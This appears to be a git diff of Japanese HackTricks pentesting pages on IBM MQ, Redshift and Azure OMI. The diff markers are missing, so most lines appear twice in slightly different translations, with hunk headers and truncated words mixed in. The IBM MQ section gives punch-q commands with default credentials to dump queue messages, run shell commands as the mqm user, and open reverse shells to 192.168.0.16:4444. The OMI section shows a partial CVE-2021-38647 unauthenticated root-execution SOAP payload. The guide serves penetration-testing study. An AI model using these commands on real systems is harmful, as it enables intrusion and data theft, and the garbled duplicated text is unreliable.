* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## 基本情報
IBM MQは、メッセージキューを管理するためのIBMテクノロジーです。他の**メッセージブローカー**技術と同様に、プロデューサーとコンシューマー間の情報を受信、保存、処理、分類することに特化しています。
IBM MQは、メッセージキューを管理するためのIBMの技術です。他の**メッセージブローカー**技術と同様に、プロデューサーとコンシューマー間の情報を受信、保存、処理、分類することに特化しています。
デフォルトでは、**IBM MQ TCPポート1414**が公開されています。
々、HTTP REST APIがポート**9443**で公開されていることもあります。
メトリクスPrometheusはTCPポート**9157**からアクセスできる場合があります。
デフォルトでは、**IBM MQ TCPポート1414を公開しています**。
には、HTTP REST APIがポート**9443**で公開されることがあります。
メトリクスPrometheusはTCPポート**9157**からアクセス可能です。
IBM MQ TCPポート1414は、メッセージ、キュー、チャネルなどを操作するだけでなく、**インスタンスを制御するためにも使用**できます。
IBM MQ TCPポート1414は、メッセージ、キュー、チャネルを操作するために使用できますが、**インスタンスを制御するためにも使用できます**
IBMは、[https://www.ibm.com/docs/en/ibm-mq](https://www.ibm.com/docs/en/ibm-mq)で利用可能な大規模な技術ドキュメントを提供しています。
IBMは、[https://www.ibm.com/docs/en/ibm-mq](https://www.ibm.com/docs/en/ibm-mq)で利用可能な大規模な技術文書を提供しています。
## ツール
簡単な悪用のための推奨ツールは**[punch-q](https://github.com/sensepost/punch-q)**で、Dockerを使用します。このツールはPythonライブラリ`pymqi`を積極的に使用しています。
簡単なエクスプロイトのために推奨されるツールは、Dockerを使用した**[punch-q](https://github.com/sensepost/punch-q)**です。このツールはPythonライブラリ`pymqi`を積極的に使用しています。
より手動的なアプローチには、Pythonライブラリ**[pymqi](https://github.com/dsuch/pymqi)**を使用します。[IBM MQの依存関係](https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EWebSphere&product=ibm/WebSphere/WebSphere+MQ&release=9.0.0.4&platform=All&function=fixId&fixids=9.0.0.4-IBM-MQC-*,9.0.0.4-IBM-MQ-Install-Java-All,9.0.0.4-IBM-MQ-Java-InstallRA&useReleaseAsTarget=true&includeSupersedes=0&source=fc)が必要です。
より手動アプローチには、Pythonライブラリ**[pymqi](https://github.com/dsuch/pymqi)**を使用します。[IBM MQの依存関係](https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EWebSphere&product=ibm/WebSphere/WebSphere+MQ&release=9.0.0.4&platform=All&function=fixId&fixids=9.0.0.4-IBM-MQC-*,9.0.0.4-IBM-MQ-Install-Java-All,9.0.0.4-IBM-MQ-Java-InstallRA&useReleaseAsTarget=true&includeSupersedes=0&source=fc)が必要です。
### pymqiのインストール
**IBM MQの依存関係**をインストールしてロードする必要があります:
**IBM MQの依存関係**をインストールして読み込む必要があります:
1. [https://login.ibm.com/](https://login.ibm.com/)でアカウントIBMidを作成します。
2. [https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EWebSphere&product=ibm/WebSphere/WebSphere+MQ&release=9.0.0.4&platform=All&function=fixId&fixids=9.0.0.4-IBM-MQC-*,9.0.0.4-IBM-MQ-Install-Java-All,9.0.0.4-IBM-MQ-Java-InstallRA&useReleaseAsTarget=true&includeSupersedes=0&source=fc](https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EWebSphere&product=ibm/WebSphere/WebSphere+MQ&release=9.0.0.4&platform=All&function=fixId&fixids=9.0.0.4-IBM-MQC-*,9.0.0.4-IBM-MQ-Install-Java-All,9.0.0.4-IBM-MQ-Java-InstallRA&useReleaseAsTarget=true&includeSupersedes=0&source=fc)からIBM MQライブラリをダウンロードします。Linux x86_64用には**9.0.0.4-IBM-MQC-LinuxX64.tar.gz**があります。
2. [https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EWebSphere&product=ibm/WebSphere/WebSphere+MQ&release=9.0.0.4&platform=All&function=fixId&fixids=9.0.0.4-IBM-MQC-*,9.0.0.4-IBM-MQ-Install-Java-All,9.0.0.4-IBM-MQ-Java-InstallRA&useReleaseAsTarget=true&includeSupersedes=0&source=fc](https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EWebSphere&product=ibm/WebSphere/WebSphere+MQ&release=9.0.0.4&platform=All&function=fixId&fixids=9.0.0.4-IBM-MQC-*,9.0.0.4-IBM-MQ-Install-Java-All,9.0.0.4-IBM-MQ-Java-InstallRA&useReleaseAsTarget=true&includeSupersedes=0&source=fc)からIBM MQライブラリをダウンロードします。Linux x86_64の場合は、**9.0.0.4-IBM-MQC-LinuxX64.tar.gz**です。
3. 解凍します(`tar xvzf 9.0.0.4-IBM-MQC-LinuxX64.tar.gz`)。
4. ライセンス条件に同意するために`sudo ./mqlicense.sh`を実行します。
4. `sudo ./mqlicense.sh`を実行してライセンス条項に同意します。
>Kali Linuxを使用している場合は、ファイル`mqlicense.sh`を変更してください次の行105-110行目)を削除またはコメントアウトします:
> Kali Linuxを使用している場合は、`mqlicense.sh`ファイルを修正します次の行105-110行の間)を削除またはコメントアウトします:
>
>```bash
>if [ ${BUILD_PLATFORM} != `uname`_`uname ${UNAME_FLAG}` ]
@ -56,47 +59,47 @@ sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesRuntime-9.0.0-4.
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesClient-9.0.0-4.x86_64.rpm
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesSDK-9.0.0-4.x86_64.rpm
```
6. その後、`.so` ファイルを一時的にLDに追加します`export LD_LIBRARY_PATH=/opt/mqm/lib64`、**他のツールを実行する前に**これらの依存関係を使用して
6. その後、一時的に`.so`ファイルをLDに追加します: `export LD_LIBRARY_PATH=/opt/mqm/lib64`、**他のツールをこれらの依存関係を使用して実行する前に**
次に、プロジェクト [**pymqi**](https://github.com/dsuch/pymqi) をクローンします:興味深いコードスニペット、定数などが含まれています。または、次のコマンドでライブラリを直接インストールできます:`pip install pymqi`
その後、プロジェクト[**pymqi**](https://github.com/dsuch/pymqi)をクローンできます: 興味深いコードスニペット、定数などが含まれています... または、ライブラリを直接インストールすることもできます: `pip install pymqi`
### punch-q の使用
### punch-qの使用
#### Docker を使用する場合
#### Dockerを使用して
純に次を使用します:`sudo docker run --rm -ti leonjza/punch-q`
に次のように使用します: `sudo docker run --rm -ti leonjza/punch-q`
#### Docker を使用しない場合
#### Dockerを使用しない場合
プロジェクト [**punch-q**](https://github.com/sensepost/punch-q) をクローンし、インストールのために readme に従ってください(`pip install -r requirements.txt && python3 setup.py install`)。
プロジェクト[**punch-q**](https://github.com/sensepost/punch-q)をクローンし、インストールのためにreadmeに従ってください`pip install -r requirements.txt && python3 setup.py install`)。
その後、`punch-q` コマンドで使用できます。
その後、`punch-q`コマンドで使用できます。
## 列挙
**punch-q** または **pymqi** を使用して、**キューマネージャー名、ユーザー、チャネル、およびキュー** を列挙しようとすることができます。
**punch-q**または**pymqi**を使用して、**キューマネージャー名、ユーザー、チャネル、キュー**を列挙することができます。
### キューマネージャー
### キューマネージャー
時々、キューマネージャー名を取得するための保護がない場合があります:
時々、キューマネージャー名を取得するための保護がありません:
```bash
sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 discover name
Queue Manager name: MYQUEUEMGR
```
### チャンネル
### Channels
**punch-q**は既存のチャンネルを見つけるために内部(変更可能)のワードリストを使用しています。使用例:
**punch-q** は、既存のチャネルを見つけるために内部の(変更可能な)単語リストを使用しています。使用例:
```bash
sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd discover channels
"DEV.ADMIN.SVRCONN" exists and was authorised.
"SYSTEM.AUTO.SVRCONN" might exist, but user was not authorised.
"SYSTEM.DEF.SVRCONN" might exist, but user was not authorised.
```
いくつかのIBM MQインスタンスは、**認証されていない**MQリクエストを受け入れることがありますので、`--username / --password`は必要ありません。もちろん、アクセス権も異なる場合があります。
いくつかのIBM MQインスタンスが**認証されていない**MQリクエストを受け入れるため、`--username / --password`は必要ありません。もちろん、アクセス権も異なる場合があります。
一度チャネル名(ここでは`DEV.ADMIN.SVRCONN`)を取得すると、他のすべてのチャネルを列挙することができます。
チャネル名(ここでは`DEV.ADMIN.SVRCONN`)を取得すると、他のすべてのチャネルを列挙できます。
列挙は基本的に、**pymqi**の`code/examples/dis_channels.py`からのこのコードスニペットを使用して行うことができます。
列挙は基本的に**pymqi**のこのコードスニペット`code/examples/dis_channels.py`を使用して行うことができます:
```python
import logging
import pymqi
@ -133,8 +136,8 @@ logging.info('Found channel `%s`' % channel_name)
qmgr.disconnect()
```
... しかし、**punch-q**もその部分を埋め込みます(詳細情報付き!)。
次のようにして起動できます:
... しかし、**punch-q** もその部分を埋め込んでいます(さらに詳しい情報があります!)。
次のコマンドで起動できます:
```bash
sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN show channels -p '*'
Showing channels with prefix: "*"...
@ -157,7 +160,7 @@ Showing channels with prefix: "*"...
```
### キュー
**pymqi**のコードスニペット(`dis_queues.py`)がありますが、**punch-q**を使用するとキューに関するさらに多くの情報を取得できます。
**pymqi**`dis_queues.py`)のコードスニペットがありますが、**punch-q**はキューに関するより多くの情報を取得することを許可します:
```bash
sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN show queues -p '*'
Showing queues with prefix: "*"...
@ -181,9 +184,9 @@ Showing queues with prefix: "*"...
```
## Exploit
### メッセージのダンプ
### Dump messages
キュー/チャネルをターゲットにして、そこからメッセージをスニッフィング/ダンプすることができます(破壊的な操作ではありません)。*例:*
キュー(複数)/ チャネル(複数)をターゲットにして、そこからメッセージをスニッフィング / ダンプすることができます(破壊操作)。 *例:*
```bash
sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN messages sniff
```
@ -191,36 +194,36 @@ Showing queues with prefix: "*"...
```bash
sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN messages dump
```
**特定されたキューすべてに反復処理を躊躇しないでください。**
**すべての特定されたキューを反復することをためらわないでください。**
### コード実行
> 続行する前にいくつかの詳細: IBM MQ は複数の方法で制御できます: MQSC、PCF、Control Command。一般的なリストは[IBM MQドキュメント](https://www.ibm.com/docs/en/ibm-mq/9.2?topic=reference-command-sets-comparison)にあります。
> [**PCF**](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=commands-introduction-mq-programmable-command-formats) (***Programmable Command Formats***) は、リモートでインスタンスとやり取りするために焦点を当てています。**punch-q** そしてさらに **pymqi** は PCF インタラクションに基づいています。
> 続行する前にいくつかの詳細: IBM MQは、MQSC、PCF、Control Commandなど複数の方法で制御できます。一般的なリストは[IBM MQドキュメント](https://www.ibm.com/docs/en/ibm-mq/9.2?topic=reference-command-sets-comparison)で見つけることができます。
> [**PCF**](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=commands-introduction-mq-programmable-command-formats) (***プログラム可能コマンド形式***)は、インスタンスとリモートで対話するために私たちが注目しているものです。**punch-q**およびさらに**pymqi**はPCFインタラクションに基づいています。
>
> PCFコマンドのリストを見つけることができます:
> * [PCFドキュメントから](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=reference-definitions-programmable-command-formats)、および
> * [定数から](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=constants-mqcmd-command-codes)。
>
> 興味深いコマンドの1つは `MQCMD_CREATE_SERVICE` で、そのドキュメントは[こちら](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=formats-change-copy-create-service-multiplatforms)で利用できます。これは、インスタンス上のローカルプログラムを指す `StartCommand` 引数として取ります(例: `/bin/sh`)。
> 興味深いコマンドの一つは`MQCMD_CREATE_SERVICE`で、そのドキュメントは[こちら](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=formats-change-copy-create-service-multiplatforms)で入手できます。引数として、インスタンス上のローカルプログラムを指す`StartCommand`を取ります(例: `/bin/sh`)。
>
> ドキュメントにはコマンドの警告もあります: *"注意: このコマンドを使用すると、ユーザーが mqm 権限で任意のコマンドを実行できます。このコマンドの使用権限が付与された場合、悪意のあるユーザーや不注意なユーザーが、例えば重要なファイルを削除することでシステムやデータを損傷させるサービスを定義できます。"*
> ドキュメントにはコマンドの警告もあります: *"注意: このコマンドはユーザーがmqm権限で任意のコマンドを実行することを許可します。このコマンドを使用する権利が与えられた場合、悪意のあるまたは不注意なユーザーが、重要なファイルを削除するなど、システムやデータに損害を与えるサービスを定義する可能性があります。"*
>
> *注: IBM MQドキュメント管理リファレンスによれば、サービス作成(`DEFINE SERVICE`のための等価なMQSCコマンドを実行するためのHTTPエンドポイントも `/admin/action/qmgr/{qmgrName}/mqsc` に存在します。この側面はここではまだカバーされていません。*
> *注: IBM MQドキュメント管理リファレンスによると、サービス作成のためのMQSCコマンドを実行するためのHTTPエンドポイントが`/admin/action/qmgr/{qmgrName}/mqsc`にもあります(`DEFINE SERVICE`)。この側面はまだここではカバーされていません。*
リモートプログラム実行のためのPCFによるサービスの作成/削除は、**punch-q** によって行うことができます:
リモートプログラム実行のためのPCFによるサービスの作成/削除は**punch-q**で行うことができます:
**例1**
**例 1**
```bash
sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command execute --cmd "/bin/sh" --args "-c id"
```
> IBM MQのログには、次のようにコマンドが正常に実行されたことが記録されています:
> IBM MQのログには、コマンドが正常に実行されたことが記録されています
>
> ```bash
> 2023-10-10T19:13:01.713Z AMQ5030I: The Command '808544aa7fc94c48' has started. ProcessId(618). [ArithInsert1(618), CommentInsert1(808544aa7fc94c48)]
> ```
マシン上の既存のプログラムを列挙することもできます(ここでは `/bin/doesnotexist` ... 存在しません):
マシン上の既存のプログラムを列挙することもできます(ここでは`/bin/doesnotexist` ... 存在しません):
```bash
sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command execute --cmd "/bin/doesnotexist" --arg
s "whatever"
@ -235,34 +238,28 @@ Giving the service 0 second(s) to live...
Cleaning up service...
Done
```
**プログラムの起動が非同期であることに注意してください。そのため、エクスプロイトを活用するためには2番目のアイテムが必要です** ***(逆シェル用のリスナー、異なるサービス上でのファイル作成、ネットワークを介したデータの流出など)***
**プログラムの起動は非同期であることに注意してください。したがって、エクスプロイトを活用するために2つ目のアイテムが必要です** ***(リバースシェルのリスナー、別のサービスでのファイル作成、ネットワークを通じたデータの抽出...)***
**例2**
簡単な逆シェルのために、**punch-q** は2つの逆シェルペイロードも提案しています:
簡単なリバースシェルのために、**punch-q**は2つのリバースシェルペイロードも提案しています:
- bashを使用したもの
- perlを使用したもの
* 一つはbash
* 一つはperl
*もちろん、`execute`コマンドを使用してカスタムの逆シェルを構築することもできます。*
*もちろん、`execute`コマンドを使用してカスタムのものを作成することもできます。*
bash用:
bashの場合:
```bash
sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command reverse -i 192.168.0.16 -p 4444
```
```plaintext
Perl:
```
```plaintext
Perl:
```
perlの場合:
```bash
sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command reverse -i 192.168.0.16 -p 4444
```
### カスタム PCF
IBM MQ のドキュメントを調査し、**punch-q** で実装されていない特定の PCF コマンドをテストするために **pymqi** Python ライブラリを直接使用できます。
IBM MQ ドキュメントを調べて、**punch-q** で実装されていない特定の PCF コマンドをテストするために **pymqi** Python ライブラリを直接使用できます。
**例:**
```python
@ -292,9 +289,9 @@ else:
qmgr.disconnect()
```
定数名が見つからない場合は、[IBM MQドキュメント](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=constants-mqca-character-attribute-selectors)を参照できます。
定数名が見つからない場合は、[IBM MQ ドキュメント](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=constants-mqca-character-attribute-selectors)を参照できます。
> *[`MQCMD_REFRESH_CLUSTER`](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=formats-mqcmd-refresh-cluster-refresh-cluster)の例10進数 = 73。`MQCA_CLUSTER_NAME`10進数 = 2029パラメータが必要で、`*`になる場合がありますDoc: :*
> *[`MQCMD_REFRESH_CLUSTER`](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=formats-mqcmd-refresh-cluster-refresh-cluster)の例 (10進数 = 73)。パラメータ `MQCA_CLUSTER_NAME` (10進数 = 2029) が必要で、値は `*` である可能性があります (ドキュメント: ):*
>
> ```python
> import pymqi
@ -323,27 +320,26 @@ qmgr.disconnect()
## テスト環境
IBM MQの動作と脆弱性をテストしたい場合は、Dockerをベースにしたローカル環境をセットアップできます:
IBM MQ の動作とエクスプロイトをテストしたい場合は、Docker に基づいたローカル環境を設定できます:
1. ibm.comおよびcloud.ibm.comにアカウントを持っていること。
2. 次の手順でIBM MQをコンテナ化して作成します:
1. ibm.com および cloud.ibm.com にアカウントを持っていること。
2. コンテナ化された IBM MQ を作成します:
```bash
sudo docker pull icr.io/ibm-messaging/mq:9.3.2.0-r2
sudo docker run -e LICENSE=accept -e MQ_QMGR_NAME=MYQUEUEMGR -p1414:1414 -p9157:9157 -p9443:9443 --name testing-ibmmq icr.io/ibm-messaging/mq:9.3.2.0-r2
```
デフォルトでは、認証が有効になっており、ユーザー名は `admin` でパスワードは `passw0rd` です(環境変数 `MQ_ADMIN_PASSWORD`)。
ここでは、キューマネージャー名が `MYQUEUEMGR` に設定されています(変数 `MQ_QMGR_NAME`)。
デフォルトでは、認証が有効になっており、ユーザー名は `admin`、パスワードは `passw0rd`(環境変数 `MQ_ADMIN_PASSWORD`)です。ここでは、キュー マネージャー名が `MYQUEUEMGR`(変数 `MQ_QMGR_NAME`)に設定されています。
IBM MQを起動してポートを公開している必要があります:
IBM MQが稼働しており、そのポートが公開されている必要があります:
```bash
sudo docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
58ead165e2fd icr.io/ibm-messaging/mq:9.3.2.0-r2 "runmqdevserver" 3 seconds ago Up 3 seconds 0.0.0.0:1414->1414/tcp, 0.0.0.0:9157->9157/tcp, 0.0.0.0:9443->9443/tcp testing-ibmmq
```
> IBM MQの古いバージョンのDockerイメージは次の場所にあります: https://hub.docker.com/r/ibmcom/mq/.
> IBM MQの古いバージョンのdockerイメージは次の場所にあります: https://hub.docker.com/r/ibmcom/mq/.
## 参考文献
## References
* [mgeeky's gist - "Practical IBM MQ Penetration Testing notes"](https://gist.github.com/mgeeky/2efcd86c62f0fb3f463638911a3e89ec)
* [MQ Jumping - DEFCON 15](https://defcon.org/images/defcon-15/dc15-presentations/dc-15-ruks.pdf)
* [IBM MQ documentation](https://www.ibm.com/docs/en/ibm-mq)
* [mgeeky's gist - "実践的なIBM MQペネトレーションテストート"](https://gist.github.com/mgeeky/2efcd86c62f0fb3f463638911a3e89ec)
* [MQジャンピング - DEFCON 15](https://defcon.org/images/defcon-15/dc15-presentations/dc-15-ruks.pdf)
* [IBM MQドキュメント](https://www.ibm.com/docs/en/ibm-mq)

View file

@ -1,33 +1,39 @@
# 5439 - Redshiftのペンテスト
# 5439 - Pentesting Redshift
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>を通じてゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong></strong></summary>
<summary>HackTricksをサポートする</summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで企業を宣伝**したいですか?または**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをご覧ください。
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を手に入れましょう。
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で私をフォローしてください 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **ハッキングトリックを共有するために、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。**
</details>
{% endhint %}
## 基本情報
このポートは**Redshift**によって使用されます。基本的には**PostgreSQL**のAWSバリエーションです。
このポートは**Redshift**が実行するために使用されます。基本的には**PostgreSQL**のAWSバリエーションです。
詳細については、以下をチェックしてください:
詳細については、以下を確認してください:
{% embed url="https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-services/aws-databases/aws-redshift-enum" %}
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>を通じてゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong></strong></summary>
<summary>HackTricksをサポートする</summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで企業を宣伝**したいですか?または**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをご覧ください。
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を手に入れましょう。
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で私をフォローしてください 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **ハッキングトリックを共有するために、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。**
</details>
{% endhint %}

View file

@ -1,20 +1,23 @@
# 5985,5986 - OMIのペンテスト
# 5985,5986 - Pentesting OMI
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>**htARTEHackTricks AWS Red Team Expert**で**ゼロからヒーローまでのAWSハッキング**を学びましょう!</strong></summary>
<summary>Support HackTricks</summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**してみたいですか?または、**最新バージョンのPEASSにアクセス**したいですか、または**HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、当社の独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクション
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を手に入れましょう
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で私をフォローする🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **ハッキングトリックを共有するために、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
### **基本情報**
**OMI**は、Microsoftによって開発された**[オープンソース](https://github.com/microsoft/omi)**ツールで、リモート構成管理を目的としています。特に、以下のサービスを利用するAzure上のLinuxサーバーにとって重要です:
**OMI**は、Microsoftによって提供される**[オープンソース](https://github.com/microsoft/omi)**ツールで、リモート構成管理のために設計されています。これは、次のようなサービスを利用するAzure上のLinuxサーバーに特に関連しています:
- **Azure Automation**
- **Azure Automatic Update**
@ -23,15 +26,15 @@
- **Azure Configuration Management**
- **Azure Diagnostics**
これらのサービスがアクティブ化されると、プロセス`omiengine`が開始され、すべてのインターフェースでrootとしてリッスンします。
これらのサービスが有効になると、プロセス`omiengine`が起動し、rootとしてすべてのインターフェースでリッスンします。
使用される**デフォルトポート**は**5985**httpおよび**5986**httpsです。
**使用されるデフォルトポート**は**5985**httpおよび**5986**httpsです。
### **[CVE-2021-38647脆弱性](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-38647)**
### **[CVE-2021-38647 脆弱性](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-38647)**
2021年9月16日に観察されたように、Azureに展開されたLinuxサーバーは、言及されたサービスにより脆弱なOMIのバージョンによって影響を受けます。この脆弱性は、認証ヘッダーを必要とせずに`/wsman`エンドポイントを介してメッセージを処理するOMIサーバーの中にあり、クライアントを誤って認証します。
9月16日に観察されたように、前述のサービスを持つAzureに展開されたLinuxサーバーは、OMIの脆弱なバージョンのために影響を受けやすいです。この脆弱性は、OMIサーバーが`/wsman`エンドポイントを通じてメッセージを処理する際に、Authenticationヘッダーを要求せずにクライアントを不正に認証することにあります。
攻撃者は、認証ヘッダーなしで"ExecuteShellCommand" SOAPペイロードを送信することで、サーバーにroot権限でコマンドを実行させることができます。
攻撃者は、Authenticationヘッダーなしで"ExecuteShellCommand" SOAPペイロードを送信することでこれを悪用し、サーバーにroot権限でコマンドを実行させることができます。
```xml
<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:a="http://schemas.xmlsoap.org/ws/2004/08/addressing"
...
@ -43,19 +46,24 @@
</s:Body>
</s:Envelope>
```
## 参考
CVEに関する詳細情報は**[こちらを確認してください](https://github.com/horizon3ai/CVE-2021-38647)**。
## 参考文献
* [https://www.horizon3.ai/omigod-rce-vulnerability-in-multiple-azure-linux-deployments/](https://www.horizon3.ai/omigod-rce-vulnerability-in-multiple-azure-linux-deployments/)
* [https://blog.wiz.io/omigod-critical-vulnerabilities-in-omi-azure/](https://blog.wiz.io/omigod-critical-vulnerabilities-in-omi-azure/)
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
